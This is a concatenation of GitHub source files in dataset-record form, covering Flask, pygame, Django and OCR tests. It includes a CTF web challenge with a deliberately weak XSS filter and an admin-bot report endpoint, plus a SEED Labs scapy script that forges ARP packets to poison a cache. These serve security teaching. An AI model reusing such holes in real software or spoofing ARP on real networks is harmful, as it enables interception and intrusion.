self.assertIsInstance(args[5], str)\n","repo_name":"LoganCook/bman","sub_path":"usage/test_commands.py","file_name":"test_commands.py","file_ext":"py","file_size_in_byte":2160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"25293907452","text":"from flask import Flask, render_template, session, make_response, \\\n\trequest, Response, redirect, url_for, flash, current_app as app, Blueprint\nfrom flask_generic_views import TemplateView, MethodView\nfrom flask_login import login_required, current_user\nimport urllib.parse\nimport random, time\nimport os\nfrom .utils import CurhatForm, ProfileForm\nfrom .models import Curhat, User, db\nfrom datetime import datetime as dt\nfrom multidict import MultiDict\nimport json\nimport re\n\nmain = Blueprint('main', __name__)\n\n\nclass HomeView(TemplateView):\n\ttemplate_name = \"index.html\"\n\n\tdef get(self):\n\t\treturn render_template(self.template_name)\n\nclass ProfileView(TemplateView):\n\ttemplate_name = \"profile.html\"\n\tdecorators = [login_required]\n\n\tdef get(self):\n\t\tuser_dict = MultiDict(username=current_user.username,bio=current_user.bio,motto=current_user.motto)\n\t\tform = ProfileForm(user_dict)\n\t\treturn render_template(self.template_name, form=form, motto=current_user.motto)\n\n\tdef post(self):\n\t\traw_body = request.stream.read()\n\t\tjson_body = json.loads(raw_body)\n\t\tvalidate_form = MultiDict(bio=json_body[\"bio\"], motto=json_body[\"motto\"], username=current_user.username)\n\t\tvalidate_form = ProfileForm(validate_form)\n\t\tif validate_form:\n\t\t\tuser = User.query.filter(User.id == current_user.id).one()\n\t\t\tuser.bio = json_body[\"bio\"]\n\t\t\tfiltered_motto = re.sub(r\"script|SCRIPT|get|post|POST|ajax|put|PUT\", \"\", json_body[\"motto\"])\n\t\t\tuser.motto = filtered_motto\n\t\t\tdb.session.commit()\n\t\t\tflash(\"Berhasil edit profile\")\n\t\telse:\n\t\t\tflash(\"Gagal edit profile\", \"danger\")\n\n\t\treturn redirect(url_for(\"profile\"))\n\n\nclass ReportView(TemplateView):\n\tdecorators = [login_required]\n\n\tdef post(self):\n\t\turl_link = request.form.get(\"curhat_link\")\n\t\tif url_link.startswith(\"http\"):\n\t\t\tos.system(\"node visit.js {}\".format(url_link.encode(\"utf-8\").hex()))\n\t\t\treturn \"Report Success\"\n\t\telse:\n\t\t\treturn \"Report Fail, Something Wrong With The Link\"\n\n\nclass CurhatView(TemplateView):\n\ttemplate_name = \"curhat.html\"\n\tsingle_curhat_template = \"single_curhat.html\"\n\tdecorators = [login_required]\n\n\tdef get(self, curhat_id=None):\n\t\tif curhat_id is None:\n\t\t\tform = CurhatForm()\n\t\t\tcurhatan_list = Curhat.query.order_by(Curhat.created.desc()).limit(50).all()\n\t\t\treturn render_template(self.template_name, form=form, curhatan_list=curhatan_list)\n\t\telse:\n\t\t\tsingle_curhat = Curhat.query.filter(Curhat.id == curhat_id).one()\n\t\t\t\n\t\t\tif single_curhat:\n\t\t\t\treturn render_template(self.single_curhat_template, curhat=single_curhat)\n\t\t\telse:\n\t\t\t\treturn render_template(\"errors/404.html\", error=\"Curhatnya gaada\"), 404\n\n\tdef post(self):\n\t\tform = CurhatForm(request.form)\n\n\t\tif form.validate():\n\t\t\tbody = form.body.data\n\t\t\tnew_curhat = Curhat(\n\t\t\t\t\t\t\tbody=body,\n\t\t\t\t\t\t\tcreated=dt.now(),\n\t\t\t\t\t\t\tuser_id=current_user.id)\n\t\t\tdb.session.add(new_curhat)\n\t\t\tdb.session.commit()\n\t\t\tflash(\"Curhat Berhasil Ditambahkan\", \"success\")\n\t\t\treturn redirect(\"/curhat\")\n\t\telse:\n\t\t\treturn render_template(self.template_name, form=form)\n\n\n\n\napp.add_url_rule('/', view_func=HomeView.as_view('index'))\napp.add_url_rule('/curhat', defaults={'curhat_id': None},\n\t\t\t\t\t\t\t\t view_func=CurhatView.as_view('all_curhat'), methods=['GET'])\napp.add_url_rule('/curhat', view_func=CurhatView.as_view('curhat_create'), methods=['POST'])\napp.add_url_rule('/curhat/<int:curhat_id>', view_func=CurhatView.as_view('single_curhat_view'),\n\t\t\t\t\t\t\t\t methods=['GET']) \n\napp.add_url_rule('/profile', view_func=ProfileView.as_view('profile'))\napp.add_url_rule('/profile', view_func=ProfileView.as_view('edit_profile'), methods=['POST'])\napp.add_url_rule('/report', view_func=ReportView.as_view('report'), methods=['POST'])\n\n","repo_name":"hanasuru/ctf-archive-2020","sub_path":"JOINTS 2020/final/web/OldSkool/old_skool/application/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3626,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"28097441526","text":"from unittest.mock import patch\n\nimport pytest\n\nfrom unique_matcher.constants import TESSERACT_PATH\nfrom unique_matcher.matcher.items import ItemLoader\nfrom unique_matcher.matcher.title import TitleParser, pytesseract\n\n\n@pytest.fixture(scope=\"session\")\ndef parser():\n    item_loader = ItemLoader()\n    item_loader.load()\n\n    return TitleParser(item_loader)\n\n\n@patch(\"pathlib.Path.exists\", return_value=True)\n@patch(\"sys.platform\", \"win32\")\ndef test_tesseract_windows_exists(_):\n    # Reset to default to avoid tests depending on each other\n    pytesseract.pytesseract.tesseract_cmd = \"tesseract\"\n\n    item_loader = ItemLoader()\n    item_loader.load()\n\n    _ = TitleParser(item_loader)\n    assert pytesseract.pytesseract.tesseract_cmd == TESSERACT_PATH\n\n\n@patch(\"sys.platform\", \"win32\")\ndef test_tesseract_windows_path():\n    # Reset to default to avoid tests depending on each other\n    pytesseract.pytesseract.tesseract_cmd = \"tesseract\"\n\n    item_loader = ItemLoader()\n    item_loader.load()\n\n    _ = TitleParser(item_loader)\n    assert pytesseract.pytesseract.tesseract_cmd == \"tesseract\"\n\n\ndef test_clean_title(parser: TitleParser):\n    assert parser._clean_title(\"BLOODBOUND\\nBONE ARMOUR\\n\\n\") == \"BLOODBOUND\\nBONE ARMOUR\\n\\n\"\n    assert parser._clean_title(\"IMPERIAL STAFF\\n\\n\") == \"IMPERIAL STAFF\\n\\n\"\n    assert (\n        parser._clean_title(\"BONES OF ULLR\\nSILK SLIPPERS\\n\\n\")\n        == \"BONES OF ULLR\\nSILK SLIPPERS\\n\\n\"\n    )\n    assert parser._clean_title(\"SILK SLIPPERS\\n\\n\") == \"SILK SLIPPERS\\n\\n\"\n\n    # Apostrophe\n    assert (\n        parser._clean_title(\"BEREK’S GRIP\\nTWO-STONE RING\\n\\n\")  # noqa: RUF001\n        == \"BEREKS GRIP\\nTWO-STONE RING\\n\\n\"\n    )\n\n    # Incorrect possessive\n    assert (\n        parser._clean_title(\"BEREK S GRIP\\nTWO-STONE RING\\n\\n\") == \"BEREKS GRIP\\nTWO-STONE RING\\n\\n\"\n    )\n\n    # One word base\n    assert parser._clean_title(\"LATHI\\n\\n\") == \"LATHI\\n\\n\"\n\n    # Random 2 letter word in there\n    assert parser._clean_title(\"TWO-STONE NE RING\\n\\n\") == \"TWO-STONE RING\\n\\n\"\n\n\ndef test_find_item_name(parser):\n    \"\"\"Trying to find the item name in the parsed title.\"\"\"\n    # Typical name\n    assert parser._find_item_name([\"BEREKS GRIP\", \"TWO-STONE RING\"]) == \"Bereks_Grip\"\n\n    # Including \"of, the\"\n    assert (\n        parser._find_item_name([\"PILLAR OF THE CAGED GOD\", \"IRON STAFF\"])\n        == \"Pillar_of_the_Caged_God\"\n    )\n\n    # Including a dash\n    assert parser._find_item_name([\"THREE-STEP ASSAULT\", \"SHAGREEN BOOTS\"]) == \"Three-step_Assault\"\n\n\ndef test_find_item_name_no_item(parser):\n    \"\"\"Find item name when the item is not in DB (tesseract fail).\"\"\"\n    assert parser._find_item_name([\"XBEREKS GRIP\", \"TWO-STONE RING\"]) == \"\"\n\n\ndef test_parse_unidentified_title(parser: TitleParser):\n    assert parser._parse_unidentified_title(\"SILK SLIPPERS\\n\\n\") == \"Silk Slippers\"\n    assert parser._parse_unidentified_title(\"SUN LEATHER\\n\\n\") == \"Sun Leather\"\n\n\ndef test_parse_identified_title_error(parser: TitleParser):\n    assert parser._parse_identified_title(\"BONES OF ULLR SILK SLIPPERS\\n\\n\") == (\n        \"\",\n        \"Silk Slippers\",\n    )\n\n\ndef test_apply_manual_corrections(parser: TitleParser):\n    assert parser._apply_manual_corrections(\"Ruy Ring\", parser.BASE_CORRECTIONS) == \"Ruby Ring\"\n    assert (\n        parser._apply_manual_corrections(\"Twoo-Point Arrow Quiver\", parser.BASE_CORRECTIONS)\n        == \"Two-Point Arrow Quiver\"\n    )\n","repo_name":"staticf0x/unique-matcher","sub_path":"tests/test_title.py","file_name":"test_title.py","file_ext":"py","file_size_in_byte":3404,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"41108995805","text":"from collections import defaultdict, Counter\nfrom itertools import islice\nfrom collections import deque\npath = r\"C:\\Debashis\\pythonProject\\pythonProject\\Practice\\files_directory\\txt_log_files\\sample.txt\"\npath_ = r\"C:\\Debashis\\pythonProject\\pythonProject\\Practice\\files_directory\\txt_log_files\\access-log.txt\"\n\n\n''' wap to print line number and line in the file'''\n\n# with open(path) as file:\n#     for line_no, line in enumerate(file):\n#         print(line_no, line)\n\n''' wap to count the number of words in the given file '''\n\n# with open(path) as file:\n#     count = 0\n#     for line in file:\n#         a = line.split()\n#\n#         for i in a :\n#             count += 1\n#     print(count)\n#  or\n# with open (path) as file:\n#     count = 0\n#     for line in file:\n#         words = line.split()\n#         count +=len(words)\n#     print(count)\n\n''' wap to print the lines from the last of the file '''\n\n# with open(path) as file:\n#     # print(list(file))\n#     for line in reversed(list(file)):\n#         print(line)\n\n''' wap to count the number of spaces in the given file'''\n# with open(path) as file:\n#     count = 0\n#     for line in file:\n#         for char in line:\n#             if char == \" \":\n#                 count += 1\n#     print(count)\n\n# or\n\n# with open(path) as file:\n#     count = 0\n#     for line in file:\n#         spaces = line.count(\" \")\n#         count += spaces\n#     print(count)\n\n''' wap to count the number of words which is starting with vowels'''\n\n# with open(path) as file:\n#     count = 0\n#     for line in file:\n#         spl = line.split()      # for char in line.split()\n#         for char in spl:\n#             if char[0].lower() in \"aeiou\":\n#                 count += 1\n#     print(count)\n\n''' wap to creat a dictionary of word and its count pair in the given file '''\n# with open(path) as file:\n#     d = {}\n#     for line in file:\n#         word = line.split()\n#         for item in word:\n#             if item not in d:\n#                 d[item] = 1\n#             else:\n#                 d[item] += 1\n#\n#     print(d)\n\n# or\n\n# with open(path) as file:\n#     d = defaultdict(int)\n#     for line in file:\n#         word = line.split()\n#         for item in word:\n#             d[item] += 1\n#     print(d)\n\n''' wap to extract all the ip addresses from access log .txt file'''\n\n# with open(path_) as file:\n#     l = []\n#     for line in file:\n#         if line.strip():               # check for the blank line in the file\n#             word = line.split()\n#             l.append(word[0])\n#     print(l)\n\n''' wap to create a dictionary of ip addresses and their count '''\n\n# with open(path_) as file:\n#     d = {}\n#     count = 0\n#     for line in file:\n#         if line.strip():\n#             word = line.split()\n#             if word[0] not in d:\n#                 d[word[0]] = 1\n#             else:\n#                 d[word[0]] += 1\n#     print(d)\n\n# or\n# with open(path_) as file:\n#     l = []\n#     for line in file:\n#         if line.strip():               # check for the blank line in the file\n#             word = line.split()\n#             l.append(word[0])\n#     # print(l)\n# ip_ = Counter(l)\n# print(ip_)\n# print(ip_.most_common(5))\n\n# with open(path) as file:\n#     n = 3\n#     for line_no, line in enumerate(file, start=1):\n#         if line_no == n:\n#             print(line)\n# # or\n#\n# with open(path) as file:\n#     count  = 0\n#     for line in file:\n#         count +=1\n#         if count == n:\n#             print()\n\n''' wap to print up to nth line '''\n# n = 3\n# with open(path) as file:\n\n\n''' wap to print first nth line '''\n# n = 2\n# with open(path) as file:\n#     res = islice(file,n)\n#     print(list(res))\n\n# or\n#\n# with open(path) as file:\n#     for line_no, line in enumerate(file, start=1):\n#         if line_no <= n:\n#             print(line)\n\n''' wap to print last n line '''\n# n = 2\n# with open(path) as file:\n#     count = 0\n#     for line in file:\n#         count += 1\n#     # print(count)\n#     file.seek(0)\n#     res = islice(file, count-n, count)        # islie(file, 5 , 7)\n#     print(list(res))\n\n# using deque\n# n = 3\n# with open(path) as file:\n#     lines = deque(file, n)\n#     print(lines)\n\npath1 = r\"C:\\Debashis\\pythonProject\\pythonProject\\Practice\\L\\file handelling practice.py\"\n''' wap to copy the content of sample.txt in to different file '''\n\n# with open(path, 'r') as file_read:\n#     with open(path1, 'w') as file_write:\n# # with open(path, 'r') as file_read, open(path1, 'w') as file_write:\n#         for line in file_read:\n#             file_write.write(line)\n\n\n# d = {'name': 'apple', 'id': 152778}\n# e = {\"name\": \"appple\", 'id': 656789}\n# f = {d[(i.items())] : e[(i.items())] for i in range(len(d))}\n# print(f)\n#\n\n\n\npath = r\"C:\\Debashis\\pythonProject\\pythonProject\\Practice\\files_directory\\txt_log_files\\sample.txt\"\nword = \"debashis\"\nwith open(path, \"r+\") as file:\n    # for line in file:\n    for line_no, line in enumerate(file):\n        if line_no == 3:\n            print(line)\n            index = file.tell()\n            file.seek(index)\n            file.write(\"python\")\n\n\n","repo_name":"Debashis7377/Practice","sub_path":"feb 9/file_handaling_programs.py","file_name":"file_handaling_programs.py","file_ext":"py","file_size_in_byte":5065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74751012991","text":"import pygame\n\nimport window\nimport assets\n\n\nclass GraphingSurface(window.Surface):\n\n    def __init__(self, window, x_cord, y_cord, x_size, y_size, bg_colour, line_colour, line_width, axis_colour,\n                 highlight_colour):\n        super().__init__(window, x_cord, y_cord, x_size, y_size, bg_colour)\n\n        self.line_colour = line_colour\n        self.axis_colour = axis_colour\n        self.highlight_colour = highlight_colour\n        self.highlight_colour_2 = (highlight_colour[0]*0.5, highlight_colour[1]*0.5, highlight_colour[2]*0.5)\n\n        self.line_width = line_width\n\n        self.shows_points = False\n\n        self.points = []\n\n        self.x_min = 0\n        self.x_max = 100\n        self.x_delimiter = (self.x_max - self.x_min) / 10\n\n        self.y_min = 0\n        self.y_max = 100\n        self.y_delimiter = (self.y_max - self.y_min) / 10\n\n        self.box = pygame.rect.Rect(150, 80, self.x_size-175, self.y_size-180)\n\n        self.x_pixel_size = self.box.width\n        self.y_pixel_size = self.box.height\n\n        self.x_pixel_delimiter = self.x_pixel_size / ((self.x_max - self.x_min) / self.x_delimiter)\n        self.y_pixel_delimiter = self.y_pixel_size / ((self.y_max - self.y_min) / self.y_delimiter)\n\n        self.global_max = (0, 0)\n        self.global_max_rescaled = (0, 0)\n\n        self.rescaled_points = []\n\n        self.shows_fwhm = False\n        self.fwhm = 0\n\n    def draw(self):\n\n        self.pg_surface.fill(self.colour)\n\n        if self.shows_fwhm and len(self.points) > 2:\n            self.draw_fwhm()\n\n        self.draw_points()\n\n        self.draw_axis()\n\n        for element in self.elements:\n            if element.is_visible:\n                element.draw()\n\n        self.window.screen.blit(self.pg_surface, (self.x_cord, self.y_cord))\n\n    def set_scale(self, x_min, x_max, y_min, y_max):\n\n        if x_min >= x_max or y_min >= y_max:\n            return 1\n\n        self.x_min = x_min\n        self.x_max = x_max\n        self.x_delimiter = (self.x_max - self.x_min) / 10\n\n        self.y_min = y_min\n        self.y_max = y_max\n        self.y_delimiter = (self.y_max - self.y_min) / 10\n\n        self.x_pixel_size = self.box.width\n        self.y_pixel_size = self.box.height\n\n        self.x_pixel_delimiter = self.x_pixel_size / ((self.x_max - self.x_min) / self.x_delimiter)\n        self.y_pixel_delimiter = self.y_pixel_size / ((self.y_max - self.y_min) / self.y_delimiter)\n\n    def clear(self):\n\n        self.points = []\n\n        self.x_min = 0\n        self.x_max = 100\n        self.x_delimiter = (self.x_max - self.x_min) / 10\n\n        self.y_min = 0\n        self.y_max = 100\n        self.y_delimiter = (self.y_max - self.y_min) / 10\n\n        self.x_pixel_size = self.box.width\n        self.y_pixel_size = self.box.height\n\n        self.x_pixel_delimiter = self.x_pixel_size / ((self.x_max - self.x_min) / self.x_delimiter)\n        self.y_pixel_delimiter = self.y_pixel_size / ((self.y_max - self.y_min) / self.y_delimiter)\n\n        self.global_max = (0, 0)\n        self.global_max_rescaled = (0, 0)\n\n    def draw_axis(self):\n\n        pygame.draw.lines(self.pg_surface, self.axis_colour, True, (self.box.topleft, self.box.topright, self.box.bottomright, self.box.bottomleft))\n\n        i = self.x_min\n        x = 0\n        while x <= self.x_pixel_size:\n            pygame.draw.line(self.pg_surface, self.axis_colour, (self.box.left+x, self.box.bottom), (self.box.left+x, self.box.bottom+10), 1)\n            if int(i) == i:\n                self.pg_surface.blit(assets.SF_Pro_Light_16.render(str(int(i)), True, self.axis_colour), (self.box.left+x-4*len(str(int(i))), self.box.bottom+10))\n            else:\n                self.pg_surface.blit(assets.SF_Pro_Light_16.render(\"{:.1f}\".format(i), True, self.axis_colour), (self.box.left+x-4*(len(\"{:.1f}\".format(i))-1), self.box.bottom + 10))\n            x = x + self.x_pixel_delimiter\n            i = i + self.x_delimiter\n\n        i = self.y_min\n        y = self.y_pixel_size\n        while y >= 0:\n            pygame.draw.line(self.pg_surface, self.axis_colour, (self.box.left, self.box.top+y), (self.box.left-10, self.box.top+y), 1)\n            if int(i) == i:\n                self.pg_surface.blit(assets.SF_Pro_Light_16.render(str(int(i)), True, self.axis_colour), (self.box.left-16-8*len(\"{:.1f}\".format(i)), self.box.top+y-8))\n            else:\n                self.pg_surface.blit(assets.SF_Pro_Light_16.render(\"{:.1f}\".format(i), True, self.axis_colour), (self.box.left-16-8*len(\"{:.1f}\".format(i)), self.box.top+y-8))\n            y = y - self.y_pixel_delimiter\n            i = i + self.y_delimiter\n\n    def draw_points(self):\n\n        self.rescaled_points = []\n\n        for point in self.points:\n\n            rescaled_point_x = self.box.left + ((point[0] - self.x_min) * self.x_pixel_delimiter / self.x_delimiter)\n            rescaled_point_y = self.box.bottom - ((point[1] - self.y_min) * self.y_pixel_delimiter / self.y_delimiter)\n\n            self.rescaled_points.append((rescaled_point_x, rescaled_point_y))\n\n            if point == self.global_max:\n                self.global_max_rescaled = (rescaled_point_x, rescaled_point_y)\n\n        if self.shows_points:\n            for point in self.rescaled_points:\n                pygame.draw.circle(self.pg_surface, self.highlight_colour_2, point, 7)\n\n        if len(self.rescaled_points) >= 2:\n            pygame.draw.lines(self.pg_surface, self.line_colour, False, self.rescaled_points, self.line_width)\n\n        if self.shows_points:\n            for point in self.rescaled_points:\n                pygame.draw.circle(self.pg_surface, self.highlight_colour, point, 3)\n                if point == self.global_max_rescaled:\n                    pygame.draw.line(self.pg_surface, self.highlight_colour, point, (point[0], self.box.bottom), 1)\n                    pygame.draw.line(self.pg_surface, self.highlight_colour, point, (self.box.left, point[1]), 1)\n\n    def draw_fwhm(self):\n\n        i = 0\n        j = 0\n\n        x1 = 0\n        x2 = 0\n\n        max_index = 0\n\n        found = False\n        while i < len(self.rescaled_points):\n            if self.rescaled_points[i] == self.global_max_rescaled:\n                found = True\n                max_index = i\n\n                j = i\n                while j > 1:\n                    if self.points[j][1] <= self.points[j-1][1]:\n                        break\n                    j = j - 1\n\n            if found:\n                if self.points[i][1] <= self.points[i+1][1]:\n                    break\n            i = i + 1\n\n        y = max(self.points[i][1], self.points[j][1]) + (abs(self.global_max[1] - max(self.points[i][1], self.points[j][1]))/2)\n        y_rescaled = self.box.bottom - ((y - self.y_min) * self.y_pixel_delimiter / self.y_delimiter)\n\n        a = max_index\n        while a < len(self.points):\n            if self.points[a][1] > y > self.points[a+1][1]:\n                y_ratio = (y - self.points[a][1])/(self.points[a+1][1] - self.points[a][1])\n                x1 = self.points[a][0] + abs(y_ratio*(self.points[a+1][0] - self.points[a][0]))\n                break\n            a = a + 1\n\n        a = max_index\n        while a > 0:\n            if self.points[a][1] > y > self.points[a-1][1]:\n                y_ratio = (y - self.points[a-1][1])/(self.points[a][1] - self.points[a-1][1])\n                x2 = self.points[a][0] - abs(y_ratio*(self.points[a-1][0] - self.points[a][0]))\n                break\n            a = a - 1\n\n        x1_rescaled = self.box.left + ((x1 - self.x_min) * self.x_pixel_delimiter / self.x_delimiter)\n        x2_rescaled = self.box.left + ((x2 - self.x_min) * self.x_pixel_delimiter / self.x_delimiter)\n\n        self.fwhm = abs(x2 - x1)\n\n        pygame.draw.line(self.pg_surface, self.highlight_colour, (x1_rescaled, y_rescaled), (x2_rescaled, y_rescaled), 3)\n","repo_name":"DerQut/popFileGraphing","sub_path":"graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":7789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6209352850","text":"#!/usr/bin/python3\nfrom scapy.all import *\n\n# Who can it be used? Write first!\nA_ip = \"10.9.0.5\"\nA_mac = \"02:42:0a:09:00:05\"\nB_ip = \"10.9.0.6\"\nB_mac = \"02:42:0a:09:00:06\"\nM_ip = \"10.9.0.105\"\nM_mac = \"02:42:0a:09:00:69\"\nALL_mac = \"ff:ff:ff:ff:ff:ff\"\n\nE = Ether(src=M_mac, dst=ALL_mac)\nA = ARP(hwsrc=M_mac, psrc=B_ip,\n        hwdst=ALL_mac, pdst=B_ip)\nA.op = 1 \t# 1 for ARP request; 2 for ARP reply\npkt = E/A\npkt.show()\nsendp(pkt)\n","repo_name":"SKPrimin/HomeWork","sub_path":"SEEDLabs/ARP_Attack/t1c.py","file_name":"t1c.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"}
+{"seq_id":"24863526212","text":"__all__ = [\n    'FrenchCity',\n    # 'NewFrenchCity',\n]\n\n####################################################################################################\n\nimport hashlib\n\nfrom django.contrib.gis.db.models import (\n    Model,\n    Index,\n    BigIntegerField,\n    CharField,\n    # DateField,\n    # IntegerField,\n    PointField,\n)\nfrom django.utils.translation import ugettext_lazy as _\n\n####################################################################################################\n\nclass FrenchCity(Model):\n\n    \"\"\"Model to define French City\n\n    A French address is made of these lines:\n\n    * Ligne 1 : Identité du destinataire :\n      Civilité, Titre ou Qualité + Prénom et Nom\n    * Ligne 2: Complément d'identification du destinataire ou du point de remise :\n      N° d'appartement ou n° de boite aux lettres, Escalier, Couloir, Étage\n    * Ligne 3: Complément d'identification du point géographique :\n      Entrée, Tour, Immeuble, Bâtiment, Résidence, ...\n    * Ligne 4 : N° de libellée de la voie\n    * Ligne 5 : Lieut-dit ou Service particulier de distribution\n     ( par exemple : poste restante, boîte postale, ... )\n    * Ligne 6 : Code postal et localisation de destinataire\n\n    \"\"\"\n\n    # id = models.AutoField(primary_key=True)\n    # id = CharField(\n    #     primary_key=True,\n    #     max_length=8,\n    # )\n    id = BigIntegerField(primary_key=True)\n\n    insee_code = CharField(\n        # Not unique\n        max_length=5,\n        verbose_name=_('Code INSEE'),\n    )\n\n    name = CharField(\n        max_length=128, # Fixme: measure\n        verbose_name=_('city name'),\n    )\n\n    zip_code = CharField(\n        max_length=5,\n        verbose_name=_('ZIP Code'),\n    )\n\n    libelle = CharField(\n        max_length=128, # Fixme: measure\n        verbose_name=_(\"libéllé d'acheminement\"),\n    )\n\n    ligne_5 = CharField(\n        max_length=128, # Fixme: measure\n        blank=True,\n        null=True,\n        verbose_name=_('ligne 5'),\n    )\n\n    coordinate = PointField(\n        blank=True,\n        null=True,\n        verbose_name=_('GPS coordinate'),\n    )\n\n    ##############################################\n\n    class Meta:\n        verbose_name = _('French City')\n        verbose_name_plural = _('French Cities')\n        ordering = ['zip_code', 'libelle', 'ligne_5']\n        # permissions = admin\n        indexes = [\n            Index(fields=['zip_code'], name='zip_code_idx'),\n            Index(fields=['libelle'], name='libelle_idx'),\n        ]\n\n    ##############################################\n\n    @staticmethod\n    def pk_for_city(**kwargs):\n\n        # Set the pk as a deterministic and unique 64-bit integer\n        pk = kwargs['insee_code'] + kwargs['zip_code'] + kwargs['libelle'] + (kwargs['ligne_5'] or '')\n        pk = pk.encode('utf-8')\n        pk = hashlib.sha1(pk).hexdigest()\n        pk = int(pk[:8], base=16) # 40k entriesw\n\n        return pk\n\n    ##############################################\n\n    @classmethod\n    def create_city(cls, **kwargs):\n\n        pk = cls.pk_for_city(**kwargs)\n\n        cls = cls(id=pk, **kwargs)\n        # cls.save()\n        return cls\n\n    ##############################################\n\n    @property\n    def as_address(self):\n        name =  '{0.zip_code} {0.libelle}'.format(self)\n        if self.ligne_5:\n            name += ' / ' + self.ligne_5\n        return name\n\n    ##############################################\n\n    def __str__(self):\n        return self.as_address\n\n####################################################################################################\n\n# class NewFrenchCity(Model):\n\n#     prise_en_compte = DateField(\n#         verbose_name=_('Prise en compte'),\n#     )\n\n#     insee_code_new_city = CharField(\n#         max_length=5,\n#         verbose_name=_('Code INSEE Commune Nouvelle'),\n#     )\n\n#     insee_code_delegate = CharField(\n#         max_length=5,\n#         verbose_name=_('Code INSEE Commune Déléguée (non actif)'),\n#     )\n\n#     name_delegate = CharField(\n#         max_length=128, # Fixme: measure\n#         verbose_name=_('Nom Commune Déléguée'),\n#     )\n\n#     insee_code_2015 = CharField(\n#         max_length=5,\n#         verbose_name=_('Adresse 2015 - Code INSEE'),\n#     )\n\n#     zip_code_2015 = CharField(\n#         max_length=5,\n#         verbose_name=_('Adresse 2015 - L6 Code Postal'),\n#     )\n\n#     ligne_5_2015 = CharField(\n#         max_length=128, # Fixme: measure\n#         verbose_name=_('Adresse 2015 - L5'),\n#     )\n","repo_name":"FabriceSalvaire/climbing-asso-portal","sub_path":"ClimbingAssoPortal/models/city.py","file_name":"city.py","file_ext":"py","file_size_in_byte":4477,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"23366116194","text":"from django import template\nfrom eshop.models import Category\n\nregister = template.Library()\n\n\n@register.filter(name=\"cat_count\")\ndef cat_count(id):\n    return Category.objects.filter(product__category=id).count()\n\n\n@register.filter(name=\"is_in_cart\")\ndef is_in_cart(product, cart):\n    keys = cart.keys()\n    for id in keys:\n        if int(id) == product.id:\n            return True\n    return False\n\n@register.filter(name=\"item_count\")\ndef item_count(product, cart):\n    keys = cart.keys()\n\n    for id in keys:\n        if int(id) == product.id:\n            return cart.get(id)\n    return False\n\n\n\n\n@register.filter(name=\"item_total\")\ndef item_total(product, cart):\n    return product.price * item_count(product, cart)\n    \n\n@register.filter(name=\"total_bill\")\ndef total_bill(product, cart):\n    sum = 0\n    for p in product:\n        sum = sum + item_total(p, cart)\n    return sum\n\n","repo_name":"shatishdesai202/Django-Project-Practice","sub_path":"E2 - Second/eshop/templatetags/eshop.py","file_name":"eshop.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71601036990","text":"# main driver. handles input and displays current gamestate object\n#p.init()\nimport pygame as p \nimport ChessEngine\n\nWIDTH = HEIGHT = 512\nDIMENSION = 8\nSQ_SIZE = HEIGHT // DIMENSION\nMAX_FPS = 15\nIMAGES = {}\n\n# init global dict of images so we only load them once. this will be called exactly once in main\n\ndef load_images():\n  pieces = ['bR', 'bN', 'bB', 'bQ', 'bK', 'wR', 'wN', 'wB', 'wQ', 'wK', 'bp', 'wp']\n  for piece in pieces:\n    IMAGES[piece] = p.transform.scale(p.image.load('images/' + piece + '.png'), (SQ_SIZE, SQ_SIZE))\n  # we can access an image like so: 'IMAGES['bR']'\n\n  \"\"\"\n  main driver for code/ will handle user input and updating graphics\n  \"\"\"\n  \ndef main():\n  p.init()\n  screen = p.display.set_mode((WIDTH, HEIGHT))\n  clock = p.time.Clock()\n  screen.fill(p.Color('white'))\n  gs = ChessEngine.GameState()\n  valid_moves = gs.get_valid_moves()\n  move_made = False\n  load_images() #only do once, before while loop\n  game_run = True\n  sq_selected = () # keep track of last click of user as tuple row,col\n  player_clicks = [] # track player clicks two tuples: [(6,4), (4,4)]\n  while game_run:\n    for i in p.event.get():\n      if i.type == p.QUIT:\n        game_run = False\n      elif i.type == p.MOUSEBUTTONDOWN:\n          location = p.mouse.get_pos() #x,y of mouse\n          col = location[0]//SQ_SIZE\n          row = location[1]//SQ_SIZE\n          if sq_selected == (row,col): #user clicks same square twice\n            sq_selected = () # deselect if invalid\n            player_clicks = [] #clear player clicks\n          else:\n            sq_selected = (row,col)\n            player_clicks.append(sq_selected) #append both 1st and 2nd clicks\n          if len(player_clicks) == 2: #after 2nd click\n            move = ChessEngine.Move(player_clicks[0], player_clicks[1], gs.board)\n            print(move.get_chess_notation())\n            for i in range(len(valid_moves)):\n              if move == valid_moves[i]:\n                gs.make_move(move)\n                move_made = True\n                sq_selected = () # reset user clicks\n                player_clicks = [] # reset clicks\n            if not move_made:\n              player_clicks = [sq_selected]\n      elif i.type == p.KEYDOWN:\n        if i.key == p.K_z:\n          gs.undo_move()\n          move_made = True\n            \n    if move_made:\n      valid_moves = gs.get_valid_moves()\n      move_made = False\n      \n    draw_game_state(screen, gs)\n    clock.tick(MAX_FPS)\n    p.display.flip()\n      \ndef draw_game_state(screen, gs):\n  draw_board(screen) # draws squares\n  draw_pieces(screen, gs.board) # draws pieces\n  \ndef draw_board(screen):\n  colors = [p.Color(227,193,111), p.Color(184,139,74)]\n  for r in range(DIMENSION):\n    for c in range(DIMENSION):\n      color = colors[((r+c)%2)] # alternates light and dark squares\n      p.draw.rect(screen,color,p.Rect(c*SQ_SIZE, r*SQ_SIZE, SQ_SIZE, SQ_SIZE))\n  \ndef draw_pieces(screen,board):\n  for r in range(DIMENSION):\n    for c in range(DIMENSION):\n      piece = board[r][c]\n      if piece != '--':\n        screen.blit(IMAGES[piece], p.Rect(c*SQ_SIZE, r*SQ_SIZE, SQ_SIZE, SQ_SIZE))\n    \n  \n      \n      \n# if you ever import ChessMain it won't run the function\nif __name__ == 